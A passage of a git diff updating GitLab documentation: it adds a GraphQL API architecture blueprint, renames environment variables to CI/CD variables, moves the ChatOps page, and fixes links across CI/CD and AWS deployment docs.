`actors` used - we lack a clear indication who owns what feature flag and where to find - relevant informations + relevant information - we do not emphasise the desire to create feature flag rollout issue to indicate that feature flag is in fact a ~"technical debt" - we don't know exactly what feature flags we have in our codebase diff --git a/doc/architecture/blueprints/gitlab_to_kubernetes_communication/index.md b/doc/architecture/blueprints/gitlab_to_kubernetes_communication/index.md index 6c27ecca284..fb71707c146 100644 --- a/doc/architecture/blueprints/gitlab_to_kubernetes_communication/index.md +++ b/doc/architecture/blueprints/gitlab_to_kubernetes_communication/index.md @@ -1,12 +1,12 @@ --- -stage: configure -group: configure +stage: Configure +group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers comments: false description: 'GitLab to Kubernetes communication' --- -# GitLab to Kubernetes communication +# GitLab to Kubernetes communication **(FREE)** The goal of this document is to define how GitLab can communicate with Kubernetes and in-cluster services through the GitLab Kubernetes Agent. diff --git a/doc/architecture/blueprints/graphql_api/index.md b/doc/architecture/blueprints/graphql_api/index.md new file mode 100644 index 00000000000..40d02168b3b --- /dev/null +++ b/doc/architecture/blueprints/graphql_api/index.md @@ -0,0 +1,183 @@ +--- +stage: none +group: unassigned +comments: false +description: 'GraphQL API architecture foundation' +--- + +# GraphQL API + +[GraphQL](https://graphql.org/) is a data query and manipulation language for +APIs, and a runtime for fulfilling queries with existing data. + +At GitLab we want to adopt GraphQL to make it easier for the wider community to +interact with GitLab in a reliable way, but also to advance our own product by +modeling communication between backend and frontend components using GraphQL. + +We've recently increased the pace of the adoption by defining quarterly OKRs +related to GraphQL migration. This resulted in us spending more time on the +GraphQL development and helped to surface the need of improving tooling we use +to extend the new API. + +This document describes the work that is needed to build a stable foundation that +will support our development efforts and a large-scale usage of the [GraphQL +API](https://docs.gitlab.com/ee/api/graphql/index.html). + +## Summary + +The GraphQL initiative at GitLab [started around three years ago](https://gitlab.com/gitlab-org/gitlab/-/commit/9c6c17cbcdb8bf8185fc1b873dcfd08f723e4df5). +Most of the work around the GraphQL ecosystem has been done by volunteers that are +[GraphQL experts](https://gitlab.com/groups/gitlab-org/graphql-experts/-/group_members?with_inherited_permissions=exclude). + +The [retrospective on our progress](https://gitlab.com/gitlab-org/gitlab/-/issues/235659) +surfaced a few opportunities to streamline our GraphQL development efforts and +to reduce the risk of performance degradations and possible outages that may +be related to the gaps in the essential mechanisms needed to make the GraphQL +API observable and operable at scale. + +Amongst small improvements to the GraphQL engine itself we want to build a +comprehensive monitoring dashboard, that will enable team members to make sense +of what is happening inside our GraphQL API. We want to make it possible to define +SLOs, triage breached SLIs and to be able to zoom into relevant details using +Grafana and Elastic. We want to see historical data and predict future usage. + +It is an opportunity to learn from our experience in evolving the REST API, for +the scale, and to apply this knowledge onto the GraphQL development efforts. We +can do that by building query-to-feature correlation mechanisms, adding +scalable state synchronization support and aligning GraphQL with other +architectural initiatives being executed in parallel, like [the support for +direct uploads](https://gitlab.com/gitlab-org/gitlab/-/issues/280819). + +GraphQL should be secure by default. We can avoid common security mistakes by +building mechanisms that will help us to enforce [OWASP GraphQL +recommendations](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html) +that are relevant to us. + +Understanding what are the needs of the wider community will also allow us to +plan deprecation policies better and to design parity between GraphQL and REST +API that suits their needs. + +## Challenges + +### Make sense of what is happening in GraphQL + +Being able to see how GraphQL performs in a production environment is a +prerequisite for improving performance and reliability of that service. + +We do not yet have tools that would make it possible for us to answer a +question of how GraphQL performs and what the bottlenecks we should optimize +are. This, combined with a pace of GraphQL adoption and the scale in which we +expect it operate, imposes a risk of an increased rate of production incidents +what will be difficult to resolve. + +We want to build a comprehensive Grafana dashboard that will focus on +delivering insights of how GraphQL endpoint performs, while still empowering +team members with capability of zooming in into details. We want to improve +logging to make it possible to better correlate GraphQL queries with feature +using Elastic and to index them in a way that performance problems can be +detected early. + +- Build a comprehensive Grafana dashboard for GraphQL +- Build a GraphQL query-to-feature correlation mechanisms +- Improve logging GraphQL queries in Elastic +- Redesign error handling on frontend to surface warnings + +### Manage volatile GraphQL data structures + +Our GraphQL API will evolve with time. GraphQL has been designed to make such +evolution easier. GraphQL APIs are easier to extend because of how composable +GraphQL is. On the other hand this is also a reason why versioning of GraphQL +APIs is considered unnecessary. Instead of versioning the API we want to mark +some fields as deprecated, but we need to have a way to understand what is the +usage of deprecated fields, types and a way to visualize it in a way that is +easy to understand. We might want to detect usage of deprecated fields and +notify users that we plan to remove them. + +- Define a data-informed deprecation policy that will serve our users better +- Build a dashboard showing usage frequency of deprecated GraphQL fields +- Build mechanisms required to send deprecated fields usage in usage ping + +### Ensure consistency with the rest of the codebase + +GraphQL is not the only thing we work on, but it cuts across the entire +application. It is being used to expose data collected and processed in almost +every part of our product. It makes it tightly coupled with our monolithic +codebase. + +We need to ensure that how we use GraphQL is consistent with other mechanisms +we've designed to improve performance and reliability of GitLab. + +We have extensive experience with evolving our REST API. We want to apply +this knowledge onto GraphQL and make it performant and secure by default. + +- Design direct uploads for GraphQL +- Build GraphQL query depth and complexity histograms +- Visualize the amount of GraphQL queries reaching limits +- Add support for GraphQL ETags for existing features + +### Design GraphQL interoperability with REST API + +We do not plan to deprecate our REST API. It is a simple way to interact with +GitLab, and GraphQL might never become a full replacement of a traditional REST +API. The two APIs will need to coexist together. We will need to remove +duplication between them to make their codebases maintainable. This symbiosis, +however, is not only a technical challenge we need to resolve on the backend. +Users might want to use the two APIs interchangeably or even at the same time. +Making it interoperable by exposing a common scheme for resource identifiers is +a prerequisite for interoperability. + +- Make GraphQL and REST API interoperable +- Design common resource identifiers for both APIs + +### Design scalable state synchronization mechanisms + +One of the most important goals related to GraphQL adoption at GitLab is using +it to model interactions between GitLab backend and frontend components. This +is an ongoing process that has already surfaced the need of building better +state synchronization mechanisms and hooking into existing ones. + +- Design a scalable state synchronization mechanism +- Evaluate state synchronization through pub/sub and websockets +- Build a generic support for GraphQL feature correlation and feature ETags +- Redesign frontend code responsible for managing shared global state + +## Iterations + +1. [Build comprehensive Grafana dashboard for GraphQL](https://gitlab.com/groups/gitlab-com/-/epics/1343) +1. [Improve logging of GraphQL requests in Elastic](https://gitlab.com/groups/gitlab-org/-/epics/4646) +1. [Build a scalable state synchronization for GraphQL](https://gitlab.com/groups/gitlab-org/-/epics/5319) +1. [Build GraphQL feature-to-query correlation mechanisms](https://gitlab.com/groups/gitlab-org/-/epics/5320) +1. [Design a better data-informed deprecation policy](https://gitlab.com/groups/gitlab-org/-/epics/5321) +1. [Add support for direct uploads for GraphQL](https://gitlab.com/gitlab-org/gitlab/-/issues/280819) +1. [Review GraphQL design choices related to security](https://gitlab.com/gitlab-org/security/gitlab/-/issues/339) + +## Status + +Current status: in progress. + +## Who + +Proposal: + +<!-- vale gitlab.Spelling = NO --> + +| Role | Who +|------------------------------|-------------------------| +| Author | Grzegorz Bizon | +| Architecture Evolution Coach | Kamil Trzciński | +| Engineering Leader | Darva Satcher | +| Product Manager | Patrick Deuley | +| Domain Expert / GraphQL | Charlie Ablett | +| Domain Expert / GraphQL | Alex Kalderimis | +| Domain Expert / GraphQL | Natalia Tepluhina | +| Domain Expert / Scalability | Bob Van Landuyt | + +DRIs: + +| Role | Who +|------------------------------|------------------------| +| Leadership | Darva Satcher | +| Product | Patrick Deuley | +| Engineering | | + +<!-- vale gitlab.Spelling = YES --> diff --git a/doc/architecture/blueprints/image_resizing/index.md b/doc/architecture/blueprints/image_resizing/index.md index 9e5c45a715d..686a2f9c8f5 100644 --- a/doc/architecture/blueprints/image_resizing/index.md +++ b/doc/architecture/blueprints/image_resizing/index.md @@ -59,6 +59,8 @@ The MVC Avatar resizing implementation is integrated into Workhorse. With the ex Proposal: +<!-- vale gitlab.Spelling = NO --> + | Role | Who |------------------------------|-------------------------| | Author | Craig Gomes | @@ -67,10 +69,16 @@ Proposal: | Domain Expert | Matthias Kaeppler | | Domain Expert | Aleksei Lipniagov | +<!-- vale gitlab.Spelling = YES --> + DRIs: +<!-- vale gitlab.Spelling = NO --> + | Role | Who |------------------------------|------------------------| | Product | Josh Lambert | | Leadership | Craig Gomes | | Engineering | Matthias Kaeppler | + +<!-- vale gitlab.Spelling = YES --> diff --git a/doc/ci/README.md b/doc/ci/README.md index 740be7d1dbd..9b555c0ee68 100644 --- a/doc/ci/README.md +++ b/doc/ci/README.md @@ -7,10 +7,10 @@ description: "Learn how to use GitLab CI/CD, the GitLab built-in Continuous Inte type: index --- -# GitLab CI/CD +# GitLab CI/CD **(FREE)** GitLab CI/CD is a tool built into GitLab for software development -through the [continuous methodologies](introduction/index.md#introduction-to-cicd-methodologies): +through the [continuous methodologies](introduction/index.md): - Continuous Integration (CI) - Continuous Delivery (CD) @@ -55,9 +55,9 @@ at the repository's root. This file creates a [pipeline](pipelines/index.md), wh To get started with GitLab CI/CD, we recommend you read through the following documents: -- [Get started with GitLab CI/CD](quick_start/README.md). +- [Get started with GitLab CI/CD](quick_start/index.md). - [Fundamental pipeline architectures](pipelines/pipeline_architectures.md). -- [GitLab CI/CD basic workflow](introduction/index.md#basic-cicd-workflow). +- [GitLab CI/CD basic workflow](introduction/index.md#gitlab-cicd-workflow). - [Step-by-step guide for writing `.gitlab-ci.yml` for the first time](../user/project/pages/getting_started/pages_from_scratch.md). If you're migrating from another CI/CD tool, check out our handy references: @@ -71,11 +71,11 @@ available through the UI. You can use them by creating a new file, choosing a template that suits your application, and adjusting it to your needs: - + While building your `.gitlab-ci.yml`, you can use the [CI/CD configuration visualization](pipeline_editor/index.md#visualize-ci-configuration) to facilitate your writing experience. -For a broader overview, see the [CI/CD getting started](quick_start/README.md) guide. +For a broader overview, see the [CI/CD getting started](quick_start/index.md) guide. After you're familiar with how GitLab CI/CD works, see the [`.gitlab-ci.yml` full reference](yaml/README.md) @@ -90,7 +90,7 @@ GitLab CI/CD uses a number of concepts to describe and run your build and deploy | Concept | Description | |:--------------------------------------------------------|:-------------------------------------------------------------------------------| | [Pipelines](pipelines/index.md) | Structure your CI/CD process through pipelines. | -| [Environment variables](variables/README.md) | Reuse values based on a variable/value key pair. | +| [CI/CD variables](variables/README.md) | Reuse values based on a variable/value key pair. | | [Environments](environments/index.md) | Deploy your application to different environments (e.g., staging, production). | | [Job artifacts](pipelines/job_artifacts.md) | Output, use, and reuse job artifacts. | | [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. | @@ -105,9 +105,9 @@ GitLab CI/CD supports numerous configuration options: | Configuration | Description | |:----------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------| | [Schedule pipelines](pipelines/schedules.md) | Schedule pipelines to run as often as you need. | -| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#custom-ci-configuration-path) | Define a custom path for the CI/CD configuration file. | +| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#custom-cicd-configuration-path) | Define a custom path for the CI/CD configuration file. | | [Git submodules for CI/CD](git_submodules.md) | Configure jobs for using Git submodules. | -| [SSH keys for CI/CD](ssh_keys/README.md) | Using SSH keys in your CI pipelines. | +| [SSH keys for CI/CD](ssh_keys/index.md) | Using SSH keys in your CI pipelines. | | [Pipeline triggers](triggers/README.md) | Trigger pipelines through the API. | | [Pipelines for Merge Requests](merge_request_pipelines/index.md) | Design a pipeline structure for running a pipeline in merge requests. | | [Integrate with Kubernetes clusters](../user/project/clusters/index.md) | Connect your project to Google Kubernetes Engine (GKE) or an existing Kubernetes cluster. | @@ -126,15 +126,15 @@ Its feature set is listed on the table below according to DevOps stages. |:------------------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------| | **Configure** | | | [Auto DevOps](../topics/autodevops/index.md) | Set up your app's entire lifecycle. | -| [ChatOps](chatops/README.md) | Trigger CI jobs from chat, with results sent back to the channel. | +| [ChatOps](chatops/index.md) | Trigger CI jobs from chat, with results sent back to the channel. | |-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| | **Verify** | | | [Browser Performance Testing](../user/project/merge_requests/browser_performance_testing.md) | Quickly determine the browser performance impact of pending code changes. | | [Load Performance Testing](../user/project/merge_requests/load_performance_testing.md) | Quickly determine the server performance impact of pending code changes. | -| [CI services](services/README.md) | Link Docker containers with your base image. | +| [CI services](services/index.md) | Link Docker containers with your base image. | | [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. | | [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. | -| [Interactive Web Terminals](interactive_web_terminal/index.md) **(CORE ONLY)** | Open an interactive web terminal to debug the running jobs. | +| [Interactive Web Terminals](interactive_web_terminal/index.md) **(FREE SELF)** | Open an interactive web terminal to debug the running jobs. | | [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. | | [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. | |-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| @@ -160,9 +160,7 @@ Its feature set is listed on the table below according to DevOps stages. Find example project code and tutorials for using GitLab CI/CD with a variety of app frameworks, languages, and platforms on the [CI Examples](examples/README.md) page. -GitLab also provides [example projects](https://gitlab.com/gitlab-examples) pre-configured to use GitLab CI/CD. - -## Administration **(CORE ONLY)** +## Administration **(FREE SELF)** As a GitLab administrator, you can change the default behavior of GitLab CI/CD for: @@ -206,7 +204,7 @@ been necessary. These are: #### 12.0 -- [Use refspec to clone/fetch Git repository](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4069). +- [Use `refspec` to clone/fetch Git repository](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4069). - [Old cache configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4070). - [Old metrics server configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4072). - [Remove `FF_K8S_USE_ENTRYPOINT_OVER_COMMAND`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4073). diff --git a/doc/ci/autodeploy/index.md b/doc/ci/autodeploy/index.md deleted file mode 100644 index 8c7d9c1da64..00000000000 --- a/doc/ci/autodeploy/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../topics/autodevops/stages.md#auto-deploy' ---- - -This document was moved to [another location](../../topics/autodevops/stages.md#auto-deploy). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/autodeploy/quick_start_guide.md b/doc/ci/autodeploy/quick_start_guide.md deleted file mode 100644 index 8c7d9c1da64..00000000000 --- a/doc/ci/autodeploy/quick_start_guide.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../topics/autodevops/stages.md#auto-deploy' ---- - -This document was moved to [another location](../../topics/autodevops/stages.md#auto-deploy). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/build_artifacts/README.md b/doc/ci/build_artifacts/README.md deleted file mode 100644 index 4344a544798..00000000000 --- a/doc/ci/build_artifacts/README.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../user/project/pipelines/job_artifacts.md' ---- - -This document was moved to [pipelines/job_artifacts.md](../../user/project/pipelines/job_artifacts.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md index 08a45714de3..bfc332e35b1 100644 --- a/doc/ci/caching/index.md +++ b/doc/ci/caching/index.md @@ -87,7 +87,7 @@ use one or more of the following: that are only available to a particular project. - [Use a `key`](../yaml/README.md#cachekey) that fits your workflow (for example, different caches on each branch). For that, you can take advantage of the - [CI/CD predefined variables](../variables/README.md#predefined-environment-variables). + [predefined CI/CD variables](../variables/README.md#predefined-cicd-variables). For runners to work with caches efficiently, you must do one of the following: diff --git a/doc/ci/chatops/README.md b/doc/ci/chatops/README.md index 5d6af0b78db..c94d6e3ea80 100644 --- a/doc/ci/chatops/README.md +++ b/doc/ci/chatops/README.md @@ -1,116 +1,8 @@ --- -stage: Configure -group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: index, concepts, howto +redirect_to: 'index.md' --- -# GitLab ChatOps +This document was moved to [another location](index.md). -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4466) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.6. -> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/24780) to [GitLab Core](https://about.gitlab.com/pricing/) in 11.9. - -GitLab ChatOps provides a method to interact with CI/CD jobs through chat services -like Slack. Many organizations' discussion, collaboration, and troubleshooting takes -place in chat services. Having a method to run CI/CD jobs with output -posted back to the channel can significantly augment your team's workflow. - -## How GitLab ChatOps works - -GitLab ChatOps is built upon [GitLab CI/CD](../README.md) and -[Slack Slash Commands](../../user/project/integrations/slack_slash_commands.md). -ChatOps provides a `run` action for [slash commands](../../integration/slash_commands.md) -with the following arguments: - -- A `<job name>` to execute. -- The `<job arguments>`. - -ChatOps passes the following [CI/CD variables](../variables/README.md#predefined-environment-variables) -to the job: - -- `CHAT_INPUT` contains any additional arguments. -- `CHAT_CHANNEL` is set to the name of channel the action was triggered in. - -When executed, ChatOps looks up the specified job name and attempts to match it -to a corresponding job in [`.gitlab-ci.yml`](../yaml/README.md). If a matching job -is found on `master`, a pipeline containing only that job is scheduled. After the -job completes: - -- If the job completes in *less than 30 minutes*, the ChatOps sends the job's output to Slack. -- If the job completes in *more than 30 minutes*, the job must use the - [Slack API](https://api.slack.com/) to send data to the channel. - -To use the `run` command, you must have -[Developer access or above](../../user/permissions.md#project-members-permissions). -If a job shouldn't be able to be triggered from chat, you can set the job to `except: [chat]`. - -## Best practices for ChatOps CI jobs - -Since ChatOps is built upon GitLab CI/CD, the job has all the same features and -functions available. Consider these best practices when creating ChatOps jobs: - -- GitLab strongly recommends you set `only: [chat]` so the job does not run as part - of the standard CI pipeline. -- If the job is set to `when: manual`, ChatOps creates the pipeline, but the job waits to be started. -- ChatOps provides limited support for access control. If the user triggering the - slash command has [Developer access or above](../../user/permissions.md#project-members-permissions) - in the project, the job runs. The job itself can use existing - [CI/CD variables](../variables/README.md#predefined-environment-variables) like - `GITLAB_USER_ID` to perform additional rights validation, but - these variables can be [overridden](../variables/README.md#priority-of-environment-variables). - -### Controlling the ChatOps reply - -The output for jobs with a single command is sent to the channel as a reply. For -example, the chat reply of the following job is `Hello World` in the channel: - -```yaml -hello-world: - stage: chatops - only: [chat] - script: - - echo "Hello World" -``` - -Jobs that contain multiple commands (or `before_script`) return additional -content in the chat reply. In these cases, both the commands and their output are -included, with the commands wrapped in ANSI color codes. - -To selectively reply with the output of one command, its output must be bounded by -the `chat_reply` section. For example, the following job lists the files in the -current directory: - -```yaml -ls: - stage: chatops - only: [chat] - script: - - echo "This command will not be shown." - - echo -e "section_start:$( date +%s ):chat_reply\r\033[0K\n$( ls -la )\nsection_end:$( date +%s ):chat_reply\r\033[0K" -``` - -## GitLab ChatOps examples - -The GitLab.com team created a repository of [common ChatOps scripts](https://gitlab.com/gitlab-com/chatops) -they use to interact with our Production instance of GitLab. Administrators of -other GitLab instances may find them useful. They can serve as inspiration for ChatOps -scripts you can write to interact with your own applications. - -## GitLab ChatOps icon - -The [official GitLab ChatOps icon](img/gitlab-chatops-icon.png) is available for download. -You can find and download the official GitLab ChatOps icon here. - - - -<!-- ## Troubleshooting - -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. - -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> +<!-- This redirect file can be deleted after 2021-05-01. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/chatops/index.md b/doc/ci/chatops/index.md new file mode 100644 index 00000000000..48f8e595df6 --- /dev/null +++ b/doc/ci/chatops/index.md @@ -0,0 +1,116 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: index, concepts, howto +--- + +# GitLab ChatOps **(FREE)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4466) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.6. +> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/24780) to [GitLab Free](https://about.gitlab.com/pricing/) in 11.9. + +GitLab ChatOps provides a method to interact with CI/CD jobs through chat services +like Slack. Many organizations' discussion, collaboration, and troubleshooting takes +place in chat services. Having a method to run CI/CD jobs with output +posted back to the channel can significantly augment your team's workflow. + +## How GitLab ChatOps works + +GitLab ChatOps is built upon [GitLab CI/CD](../README.md) and +[Slack Slash Commands](../../user/project/integrations/slack_slash_commands.md). +ChatOps provides a `run` action for [slash commands](../../integration/slash_commands.md) +with the following arguments: + +- A `<job name>` to execute. +- The `<job arguments>`. + +ChatOps passes the following [CI/CD variables](../variables/README.md#predefined-cicd-variables) +to the job: + +- `CHAT_INPUT` contains any additional arguments. +- `CHAT_CHANNEL` is set to the name of channel the action was triggered in. + +When executed, ChatOps looks up the specified job name and attempts to match it +to a corresponding job in [`.gitlab-ci.yml`](../yaml/README.md). If a matching job +is found on `master`, a pipeline containing only that job is scheduled. After the +job completes: + +- If the job completes in *less than 30 minutes*, the ChatOps sends the job's output to Slack. +- If the job completes in *more than 30 minutes*, the job must use the + [Slack API](https://api.slack.com/) to send data to the channel. + +To use the `run` command, you must have +[Developer access or above](../../user/permissions.md#project-members-permissions). +If a job shouldn't be able to be triggered from chat, you can set the job to `except: [chat]`. + +## Best practices for ChatOps CI jobs + +Since ChatOps is built upon GitLab CI/CD, the job has all the same features and +functions available. Consider these best practices when creating ChatOps jobs: + +- GitLab strongly recommends you set `only: [chat]` so the job does not run as part + of the standard CI pipeline. +- If the job is set to `when: manual`, ChatOps creates the pipeline, but the job waits to be started. +- ChatOps provides limited support for access control. If the user triggering the + slash command has [Developer access or above](../../user/permissions.md#project-members-permissions) + in the project, the job runs. The job itself can use existing + [CI/CD variables](../variables/README.md#predefined-cicd-variables) like + `GITLAB_USER_ID` to perform additional rights validation, but + these variables can be [overridden](../variables/README.md#priority-of-cicd-variables). + +### Controlling the ChatOps reply + +The output for jobs with a single command is sent to the channel as a reply. For +example, the chat reply of the following job is `Hello World` in the channel: + +```yaml +hello-world: + stage: chatops + only: [chat] + script: + - echo "Hello World" +``` + +Jobs that contain multiple commands (or `before_script`) return additional +content in the chat reply. In these cases, both the commands and their output are +included, with the commands wrapped in ANSI color codes. + +To selectively reply with the output of one command, its output must be bounded by +the `chat_reply` section. For example, the following job lists the files in the +current directory: + +```yaml +ls: + stage: chatops + only: [chat] + script: + - echo "This command will not be shown." + - echo -e "section_start:$( date +%s ):chat_reply\r\033[0K\n$( ls -la )\nsection_end:$( date +%s ):chat_reply\r\033[0K" +``` + +## GitLab ChatOps examples + +The GitLab.com team created a repository of [common ChatOps scripts](https://gitlab.com/gitlab-com/chatops) +they use to interact with our Production instance of GitLab. Administrators of +other GitLab instances may find them useful. They can serve as inspiration for ChatOps +scripts you can write to interact with your own applications. + +## GitLab ChatOps icon + +The [official GitLab ChatOps icon](img/gitlab-chatops-icon.png) is available for download. +You can find and download the official GitLab ChatOps icon here. + + + +<!-- ## Troubleshooting + +Include any troubleshooting steps that you can foresee. If you know beforehand what issues +one might have when setting this up, or when something is changed, or on upgrading, it's +important to describe those, too. Think of things that may go wrong and include them here. +This is important to minimize requests for support, and to avoid doc comments with +questions that you know someone might ask. + +Each scenario can be a third-level heading, e.g. `### Getting error message X`. +If you have none to add when creating a doc, leave this section in place +but commented out to help encourage others to add to it in the future. --> diff --git a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md index a466214374b..38930eb60ad 100644 --- a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md +++ b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md @@ -14,8 +14,9 @@ GitLab CI/CD can be used with Bitbucket Cloud by: To use GitLab CI/CD with a Bitbucket Cloud repository: -1. In GitLab create a **CI/CD for external repository**, select **Repo by URL** and - create the project. +1. <!-- vale gitlab.Spelling = NO --> In GitLab create a **CI/CD for external repository**, select + **Repo by URL** and create the project. + <!-- vale gitlab.Spelling = YES -->  @@ -49,7 +50,7 @@ To use GitLab CI/CD with a Bitbucket Cloud repository:  -1. In GitLab, from **Settings > CI/CD > Environment variables**, add variables to allow +1. In GitLab, from **Settings > CI/CD > Variables**, add variables to allow communication with Bitbucket via the Bitbucket API: `BITBUCKET_ACCESS_TOKEN`: the Bitbucket app password created above. diff --git a/doc/ci/ci_cd_for_external_repos/github_integration.md b/doc/ci/ci_cd_for_external_repos/github_integration.md index 8e3d609b5dc..2a8b050b224 100644 --- a/doc/ci/ci_cd_for_external_repos/github_integration.md +++ b/doc/ci/ci_cd_for_external_repos/github_integration.md @@ -35,13 +35,13 @@ repositories: your project, update commit statuses, and create a web hook to notify GitLab of new commits. -1. In GitLab, go to the [new project page](../../gitlab-basics/create-project.md#create-a-project-in-gitlab), select the **CI/CD for external repository** tab, and then click +1. In GitLab, go to the [new project page](../../user/project/working_with_projects.md#create-a-project), select the **CI/CD for external repository** tab, and then click **GitHub**. 1. Paste the token into the **Personal access token** field and click **List Repositories**. Click **Connect** to select the repository. -1. In GitHub, add a `.gitlab-ci.yml` to [configure GitLab CI/CD](../quick_start/README.md). +1. In GitHub, add a `.gitlab-ci.yml` to [configure GitLab CI/CD](../quick_start/index.md). GitLab: diff --git a/doc/ci/ci_cd_for_external_repos/index.md b/doc/ci/ci_cd_for_external_repos/index.md index 44534ddf793..cc6c629fb47 100644 --- a/doc/ci/ci_cd_for_external_repos/index.md +++ b/doc/ci/ci_cd_for_external_repos/index.md @@ -25,11 +25,15 @@ snippets disabled. These features To connect to an external repository: +<!-- vale gitlab.Spelling = NO --> + 1. From your GitLab dashboard, click **New project**. 1. Switch to the **CI/CD for external repository** tab. 1. Choose **GitHub** or **Repo by URL**. 1. The next steps are similar to the [import flow](../../user/project/import/index.md). +<!-- vale gitlab.Spelling = YES --> +  ## Pipelines for external pull requests diff --git a/doc/ci/cloud_deployment/index.md b/doc/ci/cloud_deployment/index.md index 0be86527cb5..ccacb3c61d3 100644 --- a/doc/ci/cloud_deployment/index.md +++ b/doc/ci/cloud_deployment/index.md @@ -38,7 +38,7 @@ Some credentials are required to be able to run `aws` commands: A new **Access key ID** and **Secret access key** are generated. Please take a note of them right away. 1. In your GitLab project, go to **Settings > CI / CD**. Set the following as - [environment variables](../variables/README.md#gitlab-cicd-environment-variables) + [CI/CD variables](../variables/README.md) (see table below): - Access key ID. @@ -47,11 +47,11 @@ Some credentials are required to be able to run `aws` commands: You might want to check if the AWS service you intend to use is [available in the chosen region](https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/). - | Env. variable name | Value | - |:------------------------|:-----------------------| - | `AWS_ACCESS_KEY_ID` | Your Access key ID | - | `AWS_SECRET_ACCESS_KEY` | Your Secret access key | - | `AWS_DEFAULT_REGION` | Your region code | + | Environment variable name | Value | + |:-------------------------------|:-----------------------| + | `AWS_ACCESS_KEY_ID` | Your Access key ID | + | `AWS_SECRET_ACCESS_KEY` | Your Secret access key | + | `AWS_DEFAULT_REGION` | Your region code | 1. You can now use `aws` commands in the `.gitlab-ci.yml` file of this project: @@ -109,7 +109,7 @@ The ECS task definition can be: After you have these prerequisites ready, follow these steps: -1. Make sure your AWS credentials are set up as environment variables for your +1. Make sure your AWS credentials are set up as CI/CD variables for your project. You can follow [the steps above](#run-aws-commands-from-gitlab-cicd) to complete this setup. 1. Add these variables to your project's `.gitlab-ci.yml` file, or in the project's [CI/CD settings](../variables/README.md#create-a-custom-variable-in-the-ui): @@ -141,15 +141,15 @@ After you have these prerequisites ready, follow these steps: ``` You can create your `CI_AWS_ECS_TASK_DEFINITION_FILE` variable as a - [file-typed environment variable](../variables/README.md#custom-environment-variables-of-type-file) instead of a - regular environment variable. If you choose to do so, set the variable value to be the full contents of + [file-typed CI/CD variable](../variables/README.md#custom-cicd-variables-of-type-file) instead of a + regular CI/CD variable. If you choose to do so, set the variable value to be the full contents of the JSON task definition. You can then remove the JSON file from your project. In both cases, make sure that the value for the `containerDefinitions[].name` attribute is the same as the `Container name` defined in your targeted ECS service. WARNING: - `CI_AWS_ECS_TASK_DEFINITION_FILE` takes precedence over `CI_AWS_ECS_TASK_DEFINITION` if both these environment + `CI_AWS_ECS_TASK_DEFINITION_FILE` takes precedence over `CI_AWS_ECS_TASK_DEFINITION` if both these variables are defined within your project. NOTE: @@ -242,7 +242,7 @@ pass three JSON input objects, based on existing templates: have two ways to pass in these JSON objects: - They can be three actual files located in your project. You must specify their path relative to - your project root in your `.gitlab-ci.yml` file, using the following variables. For example, if + your project root in your `.gitlab-ci.yml` file, using the following CI/CD variables. For example, if your files are in a `<project_root>/aws` folder: ```yaml @@ -252,12 +252,12 @@ pass three JSON input objects, based on existing templates: CI_AWS_EC2_DEPLOYMENT_FILE: 'aws/create_deployment.json' ``` - - Alternatively, you can provide these JSON objects as [file-typed environment 